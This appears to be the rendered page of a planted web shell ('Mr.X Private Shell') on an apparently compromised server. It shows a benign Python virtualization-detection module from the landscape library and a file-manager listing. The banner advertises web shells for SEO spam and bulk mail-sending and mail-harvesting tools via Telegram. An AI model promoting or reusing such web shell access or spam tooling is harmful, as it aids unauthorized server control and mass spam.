__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
"""
Network introspection utilities using ioctl and the /proc filesystem.
"""
import os

from landscape.lib.fs import read_binary_file
from landscape.lib.fs import read_text_file


DMI_FILES = ("sys_vendor", "chassis_vendor", "bios_vendor", "product_name")


def get_vm_info(root_path="/"):
    """
    Return a bytestring with the virtualization type if it's known, an empty
    bytestring otherwise.

    It loops through some possible configurations and return a bytestring with
    the name of the technology being used or None if there's no match
    """
    if _is_vm_openvz(root_path):
        return b"openvz"
    if _is_vm_xen(root_path):
        return b"xen"

    # Iterate through all dmi *_vendors, as clouds can (and will) customize
    # sysinfo values. (https://libvirt.org/formatdomain.html#elementsSysinfo)
    dmi_info_path = os.path.join(root_path, "sys/class/dmi/id")
    for dmi_info_file in DMI_FILES:
        dmi_vendor_path = os.path.join(dmi_info_path, dmi_info_file)
        if not os.path.exists(dmi_vendor_path):
            continue
        vendor = _get_vm_by_vendor(dmi_vendor_path)
        if vendor:
            return vendor

    return _get_vm_legacy(root_path)


def get_container_info(run_path="/run"):
    """
    Return a string with the type of container the client is running in, if
    any, an empty string otherwise.
    """
    for filename in ("container_type", "systemd/container"):
        path = os.path.join(run_path, filename)
        if os.path.exists(path):
            return read_text_file(path).strip()
    return ""


def _is_vm_xen(root_path):
    """Check if the host is virtualized with Xen."""
    sys_xen_path = os.path.join(root_path, "sys/bus/xen/devices")
    # Paravirtualized and HVM instances have device links under the directory
    return os.path.isdir(sys_xen_path) and os.listdir(sys_xen_path)


def _is_vm_openvz(root_path):
    """Check if the host is virtualized with OpenVZ."""
    return os.path.exists(os.path.join(root_path, "proc/vz"))


def _get_vm_by_vendor(sys_vendor_path):
    """Return the VM type byte string (possibly empty) based on the vendor."""
    # Use lower-key string for vendors, since we do case-insentive match.
    # We need bytes here as required by the message schema.
    vendor = read_binary_file(sys_vendor_path, limit=1024).lower()

    content_vendors_map = (
        (b"amazon ec2", b"kvm"),
        (b"bochs", b"kvm"),
        (b"digitalocean", b"kvm"),
        (b"google", b"gce"),
        (b"innotek", b"virtualbox"),
        (b"microsoft", b"hyperv"),
        (b"nutanix", b"kvm"),
        (b"openstack", b"kvm"),
        (b"qemu", b"kvm"),
        (b"kvm", b"kvm"),
        (b"vmware", b"vmware"),
        (b"rhev", b"kvm"),
        (b"parallels", b"kvm"),
    )
    for name, vm_type in content_vendors_map:
        if name in vendor:
            return vm_type

    return b""


def _get_vm_legacy(root_path):
    """Check if the host is virtualized looking at /proc/cpuinfo content."""
    try:
        cpuinfo = read_text_file(os.path.join(root_path, "proc/cpuinfo"))
    except OSError:
        return b""

    if "qemu" in cpuinfo:
        return b"kvm"

    return b""

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
apt Folder 0755
__init__.py File 198 B 0644
amp.py File 21.87 KB 0644
backoff.py File 1.65 KB 0644
base64.py File 156 B 0644
bootstrap.py File 1.36 KB 0644
bpickle.py File 6.68 KB 0644
cli.py File 457 B 0644
cloud.py File 1.69 KB 0644
compat.py File 621 B 0644
config.py File 12.36 KB 0644
disk.py File 5.09 KB 0644
encoding.py File 545 B 0644
fd.py File 750 B 0644
fetch.py File 6.65 KB 0644
format.py File 1.96 KB 0644
fs.py File 3.8 KB 0644
gpg.py File 1.88 KB 0644
hashlib.py File 264 B 0644
jiffies.py File 1.59 KB 0644
juju.py File 828 B 0644
lock.py File 705 B 0644
log.py File 444 B 0644
logging.py File 2.94 KB 0644
machine_id.py File 1.02 KB 0644
message.py File 2.57 KB 0644
monitor.py File 6.19 KB 0644
network.py File 9.74 KB 0644
os_release.py File 1.78 KB 0644
persist.py File 20.57 KB 0644
plugin.py File 1.69 KB 0644
process.py File 6.66 KB 0644
reactor.py File 8.65 KB 0644
schema.py File 6.61 KB 0644
scriptcontent.py File 519 B 0644
sequenceranges.py File 5.58 KB 0644
store.py File 1.42 KB 0644
sysstats.py File 7.71 KB 0644
tag.py File 506 B 0644
testing.py File 24.48 KB 0644
timestamp.py File 233 B 0644
twisted_util.py File 4.54 KB 0644
user.py File 1.44 KB 0644
versioning.py File 1.25 KB 0644
vm_info.py File 3.12 KB 0644
warning.py File 393 B 0644
Filemanager